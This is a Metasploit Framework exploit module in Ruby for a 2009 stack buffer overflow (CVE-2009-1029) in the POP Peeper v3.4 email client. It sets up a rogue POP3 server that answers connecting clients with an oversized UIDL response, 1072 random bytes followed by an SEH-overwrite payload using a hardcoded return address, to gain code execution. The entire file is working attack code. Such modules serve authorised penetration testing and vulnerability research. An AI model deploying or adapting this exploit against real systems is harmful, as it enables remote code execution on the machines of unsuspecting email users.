rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'POP Peeper v3.4 UIDL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in POP Peeper v3.4.
        When a specially crafted UIDL string is sent to a client,
        an attacker may be able to execute arbitrary code. This
        module is based off of krakowlabs code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '53559' ],
          [ 'CVE', '2009-1029' ],
          [ 'BID', '33926' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00\x0a\x20\x0d",
          'StackAdjustment'  => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'DisableNops' => 'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'POP Peeper v3.4',    { 'Ret' => 0x10014e39 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-02-27',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
      ])
  end

  def on_client_connect(client)
    ok = "+OK\r\n"
    client.put(ok)
  end

  def on_client_data(client)
    return if ((p = regenerate_payload(client)) == nil)

    ok = "+OK\r\n"
    client.put(ok)

    client.get_once

    ok = "+OK\r\n"
    client.put(ok)

    client.get_once

    ok = "+OK 1 100\r\n"
    client.put(ok)

    client.get_once

    sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"

    client.put(sploit)

    handler
    service.close_client(client)
  end
end